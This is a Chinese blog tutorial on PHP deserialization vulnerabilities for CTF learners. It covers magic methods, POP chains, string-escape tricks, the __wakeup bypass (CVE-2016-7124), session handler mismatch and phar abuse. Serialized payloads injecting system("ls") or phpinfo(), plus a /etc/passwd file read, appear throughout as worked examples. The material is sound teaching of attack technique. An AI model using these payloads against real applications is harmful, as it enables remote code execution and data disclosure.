类与对象
类是对象的抽象,而对象是类的具体实例
类是想法,把类实例化(new),调用具体值后就变成了对象
类的结构
类:定义类名,定义成员变量(属性),定义成员函数(方法)
1 | class Class_Name{ |
类的内容
创建一个类
1 | class hero{ |
1 | 定义类(类名){ |
实例化和赋值
1 | class hero{ |
输出结果为
1 | 3a0xxhero Object |
这里的3a0xx为function函数的输出
后面的hero object是对类的成员属性的序列化
类的修饰符的介绍
在类中直接声明的变量称为成员属性(也可以称为成员变量)
可以在类中声明多个变量,即”对象”中可以有多个成员属性,每个变量都都存储对象的不同的属性信息
- 访问权限修饰符:对属性的定义
常用访问权限修饰符:
public:公共的,在类的内部,子类中,或者类的外部都可以使用,不受限制
protected:受保护的,在类的内部,子类中可以使用,但不能在类的外部使用
private:私有的,只能在类的内部使用,在类的外部或者子类中都无法使用
1 | class hero{ |
你这个直接运行的话就会报错
1 | [{ |
显示说这两个都还没定义
子类
1 | class hero{ |
类的成员方法
在类中定义的函数被称为成员方法
函数实现的是某个独立的功能
成员方法实现是类中的一个行为,是类的一部分
可用在类中声明多个成员方法,成员方法的声明和函数声明完全一样,只不过在声明成员方法时可用在function关键字前加一些访问权限修饰符,如public,protected,private(可省略,默认为public)
序列化基础知识
序列化的作用
序列化是将对象的状态信息(属性)转换为可用存储或者传输的形式的过程
对象->序列化->字符串
将对象或者数组转化为可存储,可传输的字符串
序列化之后的表达方式/格式
1 |
|
输出
1 | N; |
以此为例
注意后面的;是一定要带的,这才是完整的格式
空字符 null->N;
整形 666->i:666;
浮点型 66.6-> d:66.6;
Boolean型 true->b:1;
false->b:0;
字符型 ‘gcx’->s:3:”gcx”; 这里的3是字符的长度,而且最后序列化的字符串是双引号包裹
此处可用用于利用字符串逃逸
exp
‘g”cx’->s:4:”g”cx”;
这里的4是指字符g”cx但是由于闭合符和字符的内容相同可用构造字符串逃逸,这个后续会说
数组序列化
1 |
|
输出结果
1 | a:3:{i:0;s:3:"gcx";i:1;s:4:"3a00";i:2;s:2:"kk";} |
对象序列化
- public成员变量序列化
1 |
|
输出结果
1 | O:4:"test":1:{s:3:"pub";s:3:"gcx";} |
- private成员变量序列化
1 |
|
输出结果
1 | O:4:"test":1:{s:9:"testpub";s:3:"gcx";} |
实际上是
null用urlencode一下其实就是%00
- protected成员变量序列化
1 |
|
输出结果为
1 | //和private类似,就是用%00包起来的不是类名,而是*,用于声明这个是受保护变量 |
- 对象里面调用对象序列化
1 |
|
输出结果
1 | O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"eminem";}} |
此处注意
不能序列化类,可以序列化对象
补序列化成员函数,只序列化成员变量
反序列化的特性
反序列化后的内容为一个对象
反序列化生成的对象里的值,由反序列化里的值提供,与原有类预定义的值无关
反序列化不触发类的成员方法,需要调用方法后才能触发
showtime
反序列化后的内容为一个对象
1 |
|
输出结果
1 | O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A3%3A%223a0%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bi%3A666%3Bs%3A7%3A%22%00test%00c%22%3Bb%3A0%3B%7Dobject(test)#1 (3) { |
这里为了防止null空格丢失,使用url编码了一下,这样子在反序列化的时候,序列化的null空格就不会丢失
可以看到返回的结果确实为一个对象
反序列化生成的对象里的值,由反序列化里的值提供,与原有类预定义的值无关
1 |
|
正常情况下搞出来的序列化内容为
1 | string(68) "O:4:"test":3:{s:1:"a";s:3:"3a0";s:4:"%00*%00b";i:666;s:7:"%00test%00c";b:0;}" |
我们这里随便改,比如把3a0改成kkk,然后再url编码解码之后送去反序列化,出来的结果是kkk而不是3a0(感觉我在说废话,在水博客长度)
反序列化不触发类的成员方法,需要调用方法后才能触发
在以上的过程中都没有触发过成员方法,那么该如何去触发成员方法呢
1 |
|
在这里很显然的,原类里是定义3a0,我反序列化后定义成为kkk,最后调用成员函数的时候,输出来的是kkk
这个可以说是调用方法和”反序列化生成的对象里的值,由反序列化里的值提供,与原有类预定义的值无关”这句话的生动解释
反序列化漏洞了解
反序列化漏洞成因
反序列化过程中,unserialize()接受到的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值
然后通过调用方法触发代码执行
1 |
|
$c调用的那个方法会直接输出this is test
$b那里是我们自己可控的,get传一个序列化的值,后面再打反序列化达到RCE目的
1 | 'O:4:"test":1:{s:1:"a";s:13:"system("ls");"}' |
这个就能很自然的构造出来了
魔术方法简介
魔术方法:一个预定义好的,在特定情况下自动触发的行为方法
魔术方法的作用:魔术方法在特定条件下自动调用相关方法,最终导致触发代码
魔术方法的相关机制:触发时机(动作不同,触发的魔术方法也不同)->功能->参数(一些特殊魔术方法会传参)->返回值
分析触发时机最为关键
先列个表
1 | __construct() //类构建函数 |
__construct()
1 |
|
__destruct()
析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法
1 |
|
1 |
|
那很显然了,在反序列化的时候会把data给反序列化,同时会调用到析构函数,然后就可以把反序列化后的内容丢给cmd,成员方法那里再调用cmd,就可以实现rce
简单来说就是
unserialize()触发__destrcut()
destruct()执行eval()
eval()触发代码
1 | O:4:"user":1:{s:3:"cmd";s:13:"system("ls");";} |
__sleep()
序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()
如果存在,该方法会先被调用,然后才执行序列化操作(sleep在前,序列化在后)
此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组
如果该方法未返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误
触发时机:序列化serialize()之前
功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性
参数:成员属性
返回值:需要被反序列化存储的成员属性
1 |
|
返回结果
1 | O:4:"user":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";} |
得以验证我们刚才对__sleep()的说法(做反序列化的时候password被__sleep()清除了)
1 |
|
__wakeup()
unserialize()会检查是否存在一个__wakeup()方法
如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源,预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作
触发时机:反序列化unserialize()之前
功能:
参数:
返回值:
1 |
|
1 | object(user)#1 (4) { |
看输出结果就很容易发现__wakeup()被调用了
exp
1 |
|
实则还是要锻炼一下自己徒手构造payload的能力
1 | O:4:"user":1:{s:8:"username";s:2:"id";} |
__toString()
表达方式错误导致触发
触发时机:把对象当成字符串调用
(常用于pop链的构造)
1 |
|
输出结果为
1 | ser Object |
上面就是正常的输出这个对象
下面echo就是把这个对象当成字符串输出,所以输出了”最唐”
把类user实例化并赋值给$test,此时$test是个对象,调用对象可以使用print_r或者var_dump
如果使用echo或者print只能调用字符串的方法去调用对象,即把对象当成字符串使用,此时自动触发toString()
__invoke()
格式表达错误导致魔术方法触发
触发时机:把对象当成函数调用
1 |
|
输出
1 | object(user)#1 (1) { |
上面就是正常调用正常返回
中间那个因为我们直接$test(),就相当于直接把这个类当成函数来用了,所以就触发了__invoke()
底下那个是我们正常调用一个正常函数返回的结果
错误调用相关魔术方法
__call()
触发时机:调用一个不存在的方法
参数:2个参数传参$arg1,$arg2
返回值:调用不存在的方法的名称和参数
1 |
|
输出结果
1 | callxxx,a |
很显然:
调用的方法callxxx()不存在,触发魔术方法call(),传参$arg1,$arg2,即(callxxx,a),然后返回
$arg1调用的不存在的方法的名称
$arg2调用的不存在的方法的参数
__callStatic()
触发时机:静态调用或调用成员常量时使用的方法不存在
参数:两个参数传参$arg1,$arg2
返回值:调用的不存在的方法的名称和参数
1 |
|
在较低版本中是允许的,返回
1 | callxxx,a |
对于目前版本来说就直接报错了(因为这里不是静态调用)
_get()
触发时机:调用的成员属性不存在
参数:传参$arg1
返回值:不存在的成员属性的名称
1 |
|
返回结果
1 | var2 |
这个就不多讲,太简单了
__set()
触发时机:给不存在的成员属性赋值
参数:传参$arg1,$arg2
返回值:不存在的成员属性的名称和赋的值
1 |
|
返回结果为
1 | Setting 'var2' to 'test' |
__isset()
触发时机:对不可访问或不存在属性使用isset()或empty()时,__isset()会被调用
参数:传参$arg1
返回值:不存在的成员属性的名称
1 |
|
输出结果为
1 | var1 |
因为private属性不可访问
__unset()
触发时机:对不可访问或不存在属性unset()时
参数:传参$arg1
返回值:不可访问或不存在的成员属性的名称
1 |
|
返回结果为
1 | var1 |
__clone()
触发时机:当使用clone关键字拷贝完成一个对象之后,新对象会自动调用定义的魔术方法__clone()
1 |
|
返回结果
1 | __clone test |
pop链前置知识
拿一道例题来引入知识点
1 |
|
先来分析一下,由于这个过于简单,我就不专门去搭个docker了
index类里面有两个方法,一个实例化normal,还有一个把test赋值给action方法
而action方法在normal和evil类中都能见到,但是normal类在上面直接实例化了,然后触发了__construct魔术方法(假如有被实例化是这样,这里只是插嘴一下,反正你要认识到这里不是搓链子的入手点)输出hello world
剩下一个evil类定义的action方法了,这里链子就很明了了
反序列化的时候会自动调用__destruct魔术方法
那么就是我们传入的test要为evil这个类,然后这个类给__destruct,destruct再通过evil这个类调用action,这里被调用的只能是evil中的action,然后eval执行rce
test2的值很明显就是我们要搓进去的system(‘ls’)
这里就不徒手构造了,搓个小本,逻辑这么明朗
1 |
|
仔细看就能发现是从题目中改过来的
实例化自动调用__cinstruct()方法,然后$a就为实例化对象index(),其中成员熟悉$test=new evil(),$test为实例化对象evil(),成员属性$test2=”system(‘ls’);”
pop链前置知识-魔术方法触发规则
魔术方法的触发前提:魔术方法所在的类(或对象)被调用
1 |
|
我们的目的就是为了使其输出”tostring is here”
那么就有必要调用到__tostring(),当一个实例化的对象用echo输出时,那么就会调用到__tostring()tostring中得使用return来输出字符串,而不是echo,用echo在当前版本下会报错
我们这里一眼就可以指导是要在source处传入一个实例化的sec,这样子在反序列化的时候调用到__wakeup,而source的值又是一个实例化的类,那么就可以调用到sec的__tostring()方法,实现我们的目的
那搓脚本的思路也很明确了,是个简单的链子
1 |
|
要打的payload
1 | O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}} |
pop链构造与poc编写
在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在php反序列化中有一种漏洞利用方法叫做“面向属性编程”,即pop
pop链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种payload
1 |
|
提示是说flag在flag.php中
通过观察,我们可以用append这个成员方法,include来包含到flag.php页面,echo出flag,一步一步倒推出来,思路应该是
- 调用echo,调用$flag
- 触发invoke,调用append,并且使$var=flag.php
- invoke触发条件:把对象当成函数
- 注意到test类中的$function,最后会被return出来,那么给赋值为对象,function也会成为对象(这里肯定是赋modifier这个对象),但是modifier被当成函数调用,那么就可以触发modifier中的invoke
- 要完成第四步,那么我们就需要触发get方法
- get方法触发条件:调用不存在的成员属性
- 注意到show类,给$str赋值为对象test,而test中没有成员属性source,那么就可以触发get
- 为了使get被触发,那么toString也得要被触发
- toString触发条件:把对象当成字符串
- 把show对象赋值给source,那么在wakeup中对象就会被当成字符串来echo,触发toString
- 在反序列化的时候自动触发wakeup,链子成立
那开始改改搓搓
- 其他成员方法在序列化时不会触发,都可以删掉
- 实例化对象时会触发construct,必须删掉
接下来正向推导即可
- 触发invoke,使$var=flag.php
- 触发get,给$p赋值为对象modifier
- 触发toString,给$str赋值为对象test
- 触发wakeup,给$source赋值为对象show
1 |
|
结束了,这个还是比较简单的,接下来会比较有难度一点
字符串逃逸基础
反序列化分隔符
反序列化以;}结尾,后面的字符串不影响正常的反序列化
属性逃逸
一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸
exp
1 |
|
理由也很简单,大家都看出来了这里的成员属性数量不对
同样的道理,在反序列化的时候成员属性的字符串长度也是得要保持一致的
在上文我们提到过一个通过符号”来导致字符串逃逸的手段
1 |
|
这里a与b中的”是字符还是格式符号,是通过字符串长度3来判断的
在前面的字符串没有问题的情况下
- 成员属性数量一致
- 成员属性名称长度一致,内容长度一致
那么;}是反序列化结束符,后面的字符串不影响反序列化结果
属性逃逸(字符串减少逃逸)
一般在数据先经过一次serialize再经过unserialize,在中国中间反序列化的字符串变多或者变少的时候才有可能存在反序列化属性逃逸
1 |
|
var_dump出来的结果肯定是不成功的,字符串缺失导致格式被破坏
1 | O:1:"A":2:{s:2:"v1";s:11:"abcsystem()";s:2:"v2";s:3:"123";} |
会变成
1 | O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";} |
前情提要,我们判断一个符号是格式符号还是只是一个普通的字符,靠的就是字符串长度的那个数字限制
1 | O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:3:"123";} |
那么system()被删了,但是?仍然存在,那么是否有可能构造出恰好任意字符的s:2:”v2”;s:3,这样子就直接吧限制给它变成普通的字符串,后面的”123”处就可以改成系统命令来执行了(此处已经是脱离了限制,因为限制被前面的那个?吃了)
1 | O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:xx:";s:2:"v3";N;} |
这个是一个逃逸的例子
这里的xx代表的是一个二位数,因为我们在实际逃逸的时候,写个系统命令起码都要二位数的字符串长度,所以这里用xx代替了(反正都要被变成普通字符串,写成xx
也不会怎么样)
1 | abc";s:2:"v2";s:xx:" |
这段内容是需要我们去通过长度限制变成普通字符串的,一共是20个字符,然后释放出后面的
1 | ;s:2:"v3";N; |
前面一共需要吃掉20个字符,吃掉一个system()8个,除去abc需要吃掉17个字符,所以至少要去掉3个system(),包括上abc,一共是3*8+3,要吃掉27个字符,多吃掉了7个,所以还需要再v2中补充7个字符(直接补上1234567)
payload
1 | O:1"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";} |
经过过滤之后就是
1 | O:1"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";} |
1 | abc";s:2:"v2";s:21:"1234567 |
这一段已经被变成普通字符串了,那么后面的
1 | s:2:"v3";N;}//这一段你也可以改成你想执行的系统命令,爱改成什么就改成什么 |
就逃逸出来了
最后的那个我们在前置知识里说过了,不会起任何作用
1 | ";} |
减少逃逸例题
1 |
|
简单代审计之后就知道这里主要是要$vip=true
1 |
|
1 | O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:6:"benben";s:3:"vip";b:1;} |
根据这个,我们来把后面不重要的pass吃掉
1 | ";s:4:"pass";s:6:" |
上面这一段是我们需要吃掉的,然后benben是我们可控的,可以逃逸
但是这样子的话成员属性会少一个
所以我们要把benben换成
1 | ";s:4:"pass";s:6:"benben";s:3:"vip";b:1;} |
要逃逸的字符串一共是19位,吃一个flag会少2字符,所以要吃10个flag,然后剩余的那一位可以补上1(这个就是保留;”的优越性,可以缺几个就在前面补几个)
所以最后提交的内容是
1 | user=flag*10; |
pass这里的1就是用来补位的
总结:
多逃逸出一个成员属性,第一个字符串减少,吃掉有效代码,再第二个字符串构造代码
字符串增多逃逸
上一个是字符串减少逃逸
反序列化字符串减少逃逸:多逃逸出一个成员属性,第一个字符串减少,吃掉有效代码,在第二个字符串构造代码
现在来讲讲增多逃逸
反序列化字符串增多逃逸:构造出一个逃逸成员属性,第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性
1 |
|
运行结果自然是false
1 | O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";} |
由于把ls换成pwd,字符增多,会把末尾多出来的字符挤出
那么按上面减少逃逸的思路,我们就可以有另外一种针对于增多的思路
1 | O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";} |
思路:把吐出来的字符构造成功能性代码
比如下面,我们构造了一个可以逃逸出v3,并且赋值为666的payload
1 | O:1:"A":2:{s:2:"v1";s:66:"lslslslslsls...(要22个)";s:2"v3";s:3:"666";}";s:2:"v2";s:3:"123";} |
为了使
1 | ";s:2"v3";s:3:"666";} |
被吐出来,我们就需要用很多的ls来转换pwd,最后使增多的字符数恰好等于我们要逃逸的字符数
然后我们需要的那部分就成功逃逸出来了
增多逃逸例题
1 |
|
简单的代审(强烈推荐去看P牛的php代审课)
如果出现flag,php,那么就会被替换为hack,然后只要porfile的成员变量$pass为escaping,就可以读到flag.php
你提交flag的成员变量给user,这不是纯扯淡吗,hack和flag不都是4字符,那还怎么去构造字符串逃逸,那就用php来构造字符串增多逃逸,思路很明确,这个手搓都能写出来
1 |
|
得到
1 | O:4:"test":2:{s:4:"user";s:3:"3a0";s:4:"pass";s:8:"escaping";} |
那直接更改成我们需要的payload即可
1 | ";s:4:"pass";s:8:"escaping";} |
这部分是我们需要逃逸出来的(每次逃逸都要把前面的”;逃逸出来,因为方便)
然后去干user的值即可
计算出这一段是29个字符,那么就要写29个php,来吐出29个字符,那么就是要有29*4=116个字符
1 | O:4:"test":2:{s:4:"user";s:116:"php*29";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"反正都被注释掉了我爱写什么写什么";} |
如此便好
wakeup魔术方法绕过
反序列化漏洞:CVE-2016-7124
5.6到7.0版本内适用
产生原因:如果存在__wakeup方法,调用unserillize()方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过__wakeup()的执行
说人话就是
1 | O:4:"user":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b"} |
这个是正常的,反序列化的时候会调用__wakeup()
但是要是改成
1 | O:4:"user":3:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b"} |
成员属性个数为3,但是后面实际只有v1和v2两个成员属性
所以不会触发__wakeup()方法
1 |
|
flag在flag.php中
正则解析一下:意思是O:后面不能出现数字
这里有个unserialize,那么我们肯定是要调用__destruct()。把file改成flag.php输出
目前的问题就是unserialize的时候,__wakeup()和destruct()都会被触发,那么不管我们改成什么文件都会杯wakeup变回index.php,这个时候我们就需要绕过了
1 | O:6:"secret":1:{s:4:"file";s:8:"flag.php";} |
把1改成2即可绕过__wakeup()
然后要绕过那个正则表达式,写个+(写成+6)即可绕过正则表达式的判断
1 | O:+6:"secret":2:{s:4:"file";s:8:"flag.php";} |
这里我有一个疑问,成员数量改变了,为什么还可以正常反序列化呢
引用的利用方式
1 |
|
我们最后要确保secret和enter的值一致
这里的替换把换成*,那就是把从一个普通字符变成了在程序中有意义的字符,那我们接着跟进看一下
那么久是要在不输入*的情况下使$enter的值引用$secret的值
注意观察,题目里有现成的
secret的值不就是*吗
1 | class just4fun{ |
注意这里有一个&,这个就是引用
session反序列化
当session_start()被调用或者php.ini中session.auto_start为1时,php内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)
存取数据的格式有多种,常用的有以下三种
处理器 | 对应的存储格式 |
---|---|
php |
键名 + 竖线 + 经过 serialize() 函数序列化处理的值 |
php_serialize (PHP ≥ 5.5.4) |
经过 serialize() 函数序列化处理的数组 |
php_binary |
键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列化处理的值 |
漏洞产生原因:写入格式和读取格式的不一致
php
1 |
|
随便传个123进去
session就是
1 | BENBEN|s:3:"123"; |
php_serialize
1 |
|
传个123和456
1 | a:2:{s:3:"3a0";s:3:"123";s:1:"B";s:3:"456";} |
php_binary
1 |
|
1 | 033a0s:3:"123";01b:3:"456"; |
前面那串奇怪的就是键名的长度对应的ascii字符+键名+经过serialize()函数序列化处理的值
情况举例:以serialize的格式去写入,以php的方式来读取
当网站序列化并存储 Session,与反序列化并读取 Session 的方式不同,就可能导致 Session 反序列化漏洞的产生。下面用两个脚本演示:
- save.php:以
php_serialize
格式保存 Session
1 |
|
请求实例
1 | GET /save.php?a= |O:1:"D":1:{s:1:"a";s:10:"phpinfo();";} |
保存的session
1 | a:1:{s:3:"ben";s:39:"|O:1:\"D\":1:{s:1:\"a\";s:10:\"phpinfo();\";}";} |
- vul.php:以默认 php 格式读取 Session
1 |
|
读取时 Session 结构
1 | 键名 | serialize() 处理后的值 |
我们这上面的意思已经很显然了
我们打一个
1 | a=|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}上去 |
然后就会被存为
1 | a:1:{s:3:"ben";s:39:"|O:1:\"D\":1:{s:1:\"a\";s:10:\"phpinfo();\";}";} |
那么按照php的读取session的操作,|前面都是键名,|后面的就会被解析
所以最后被读取的session如下,前面的被忽略,后面的被执行
1 | a:1:{s:3:"ben";s:39:"| O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}";} |
phar反序列化
什么是phar?
众所周知
JAR是开发Java程序的一个应用,包括所有的可执行,可访问的文件,都打包进了一个JAR文件里,使得部署过程十分简单
PHAR也是php中类似于jar的一种打包文件,对于PHP 5.3或者更高的版本,phar文件后缀是默认开启支持的,所以可以直接使用它
(一般我们在文件包含中就是用phar伪协议去读取.phar文件)
phar利用条件
- phar文件能上传到服务器端(无论是.phar还是.png等等等等,都不影响文件的利用,都可以被正常的利用和解析,因为在文件包含中已经被php解析了)
- 要有可用反序列化魔术方法作为跳板
- 要有文件操作函数(后续有提到)
- 文件操作函数参数可控,而且:,/,phar等特殊字符没被过滤
phar结构
- stub phar文件标识,格式为
1 | xxx__HALT_COMPiLER(); ; xxx; |
(头部信息)
2. manifest压缩文件的属性信息,以序列化存储
3. contents压缩文件的内容
压缩
1 |
|
解压缩
1 |
|
- signature签名,放在文件末尾
phar协议解析文件的时候,会自动触发对manifest字段的序列化字符串进行反序列化
Size in bytes | Description |
---|---|
4 bytes | Length of manifest in bytes (1 MB limit) |
4 bytes | Number of files in the Phar |
2 bytes | API version of the Phar manifest (currently 1.0.0) |
4 bytes | Global Phar bitmapped flags |
4 bytes | Length of Phar alias |
?? bytes | Phar alias (length based on previous field) |
4 bytes | Length of Phar metadata (0 for none) |
?? bytes | Serialized Phar Meta-data, stored in serialize() format |
at least 24 × number of entries bytes | Entries for each file |
其中??代表的就是manifest
phar漏洞原理
manifest压缩文件的属性等信息,以序列化存储,存在一段序列化的字符串
调用phar伪协议,可读取.phar文件
phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化
phar需要php>=5.2在php.ini中将phar.readonly设为off(注意去掉前面的分号)
能用phar伪协议读取phar文件的函数如下所示
受影响的函数 | |||
---|---|---|---|
fileatime | filectime | file_exists | file_get_contents |
file_put_contents | file | filegroup | fopen |
fileinode | filemtime | fileowner | fileperms |
is_dir | is_executable | is_file | is_link |
is_readable | is_writable | is_writeable | parse_ini_file |
copy | unlink | stat | readfile |
原理其实很简单,我们或传文件或直接获取权限去构造,反正要在manifest处写入一句可执行语句并且被序列化存储(一般是eval($_GET[‘a’])这种的),然后一旦我们用phar伪协议去读取这个phar文件,就会执行反序列化,然后调用题中的某种魔术方法,然后把我们写入的那个成员属性的值拿去执行,所以我们只要通过phar伪协议读取phar文件和传入a的值也就是系统命令
一般来说是用以下的步骤去写入恶意phar文件并利用的
phar伪协议一般可以用?file=/etc/passwd这样子返回的值来判断(看布尔值)
php反序列化终于是写完了,个人感觉是最基础最适合新手入门的,完结撒花